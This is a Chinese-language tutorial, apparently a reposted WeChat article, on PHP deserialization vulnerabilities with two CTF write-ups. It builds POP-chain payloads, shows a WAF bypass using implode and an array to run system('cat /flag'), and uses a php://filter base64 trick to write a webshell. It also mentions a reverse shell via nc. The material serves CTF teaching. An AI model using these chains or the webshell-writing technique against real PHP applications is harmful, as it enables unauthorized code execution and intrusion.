获网安教程
免费&进群
本文由掌控安全学院-nocircle投稿
序列化:将对象型数据转换成字符串 , serialize()。
反序列化顾名思义便是将字符串还原换成对象 , unserialize()。
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等.
a:2:{i:0;s:5:”Ssh1y”;i:1;s:7:”Sherkey”;}
a
:
array
代表是数组,后面的
2
说明有三个属性
i
:代表是整型数据
int
,后面的
0
是数组下标
s
:代表是字符串,后面的
5
是因为
Ssh1y
长度为
5
依次类推
这里突然出现了 __construct
这就涉及到php反序列化中的魔术方法了
我们可以利用在线工具来验证下这些魔术方法
根据输出结果我们可以明显看到魔术方法的触发时机,这里的__sleep
有个特性,如果它没有return一个值,就会返回一个N;,
大致原理就是这些。接下来我们进入实战:
我们先采用从内至外的分析方法,先找代码执行点
观察分析这个对象,触发点在__invoke
函数执行操作是先给属性赋值,而后使用waf函数检测cmd变量,在eval()执行。
waf函数,preg_match
检测传入字符串中是否含有flag*?
中任意字符且大小写不敏感。
eval($tmp) -> 将$tmp变量当作php代码执行,强制要求$tmp变量满足php语法,不然报错。
为了获得flag,我们常用的命令有:
`system(‘cat /flag’);
`
ebshell
`$_REQUEST[‘1’];`
但是,这些常用的命令均会被waf识别而拦截,所以我们需要一些绕过方式。
!!!我的绕过方式是利用implode+数组
进行绕过,(在赛后我把题给Ssh1y写了,他的利用方式是nc反弹个shell,属实是开拓了我的眼界)。
$happy = new Happy();
$happy->shell=’implode’;
$happy->cmd=[‘system(’cat /flag’)’,’;’]
$cmd
为数组,
waf
的检测不起效果,而
$shell($cmd) -> implode([‘system(’cat /flag’)’,’;’]) -> system(‘cat /flag’)$a
()
:
php
特性,先将
$a
转成其对应值,再执行值对应的函数
接着向下分析,__invoke
找函数调用
$hello = new Hell0();
$hello -> func = $happy;
Hell0
的
__toString
中的
$function
()触发了
Happy
Welcome
的
echo
触发了
Hell0
的
__toString
发现起点,分析基本结束
$welcome = new Welcome();
$welcome -> name= ‘welcome_to_NKCTF’;
$welcome -> arg = $hello;
payload:
$happy
=
new
Happy
();
$happy
->
shell
=’
implode
’;
$happy
->
cmd
=[‘
system
(
’cat
/
flag’
)’,’;’]
$hello
=
new
Hell0
();
$hello
->
func
=
$happy
;
$welcome
=
new
Welcome
();
$welcome
->
name
=
‘
welcome_to_NKCTF
’;
$welcome
->
arg
=
$hello
;
$p
=
urlencode
(
serialize
(
$welcome
));
利用php在线网站进行试验,代码执行成功
下一题
这题我们使用从外向内的分析方式,先找传参接受位置,观察php代码接收参数的部分:
接收
GET
传参的
cmd
变量,而后输出其反序列化后的对象
echo + object 会触发__toString()
即我们需要寻找存在__toString
魔术方法的对象,对其进行下一步分析,同时我们编写exp的时候需要将cmd赋值为对应的对象
$a = new A()
$ts = serialize($a)
观察到 class A中初始化hello为对象C。于是我们将A和C放一起进行分析
根据上一节ppt分析:
echo
+
Object
触发了
__toString
A
初始化
hellow
为
C
,那么
isset
(
$this
->
hello
)=
true
__toString
将
return
$this
->
hello
->
world
()
即触发C->world(),则return “Hello,world!”,这显然就无法继续利用了。
然而我们可以观察到B中也有函数world(),只要我们能让A->hello = new B()
,我们就能进行下一步分析:
$b = new B();
$a->hello=$b
发现起点,利用链构造结束。
分析world函数
world
函数中代码执行的函数为
file_put_contents
(),即将
$a
的值输入到
$this
->
file
路径的文件里
$a
=
$d
.
$this
->
text
;
$a
相当于将
$d
与
$text
拼接.
由于
$d
=
‘<?
php
die
(“
886
”);?>’;
我们无法利用
text
来执行
php
命令,会因为
$d
中的
die
()而中断
所以需要绕过!
绕过方式:
php伪协议+base64编码绕过
可参考:https://blog.csdn.net/feiniaotjx/article/details/121288676
利用php://filter/convert.base64-decode/resource=ans.php
来绕过<?php die(“886”);?>
Payload如下:
$this
->
file
=”
php
:
//filter/convert.base64-decode/resource=ans.php”;
$this
->
text
=
“
1111111Pjw
/
cGhwIHN5c3RlbSgnY2F0IC9mbGFnJyk7Pz4
=”;
解析:
①
当
$this
->
file
与
$a
被赋值后,
php
识别到
$this
->
file
中的
php
:
//filter 伪协议,它会根据伪协议进行处理,将$a的值进行base64解码后输入到ans.php中。
②
base64
只有
64
个可打印字符,大小写字母加数字加=/
其他字符在解码时会被忽略。
③
Base64
解码规则,四个字节解码成三个字节(
4_6
位
=>
3_8
位),因此,在
base64
解码时,
$d
会被当成
phpdie886
解码,一共
9
个字节,需要添加
7
个字节进行解码,因此添加
7
个
1
构成
phpdie8861111111
(若只添加
3
个字节配成
12
个字节经
utf
-
8
解析后会吃掉后面的
4
个字节)
对<?php eval($_GET[‘cmd’);?>
编码后在前部加7个1。访问路径发现886绕过但webshell未执行,本地测试发现:
解码后的文件里含有个意料外的<
,于是修改代码为><?php eval($_GET[‘cmd’);?>
进行闭合,访问路径可行,蚁剑连接,回显无数据,猜测disable_function
,先传phpinfo
查看发现果然进行了处理。而后修改代码为><?php system(‘cat /flag’);?>
而后编码;
$b
->
file
=”
php
:
//filter/convert.base64-decode/resource=5.php”;
$b
->
text
=”
1111111Pjw
/
cGhwIHN5c3RlbSgnY2F0IC9mbGFnJyk7Pz4
=”;
访问路径,回显flag
!!总结!!
总结其实很简单,分析路径 【起点-跳板-代码执行点】;
从起点开始或从代码执行点开始都可,一步一步的寻找触发点(跳板)来构造一条完美的利用链。
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):PHP反序列化【原理+CTF实战】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论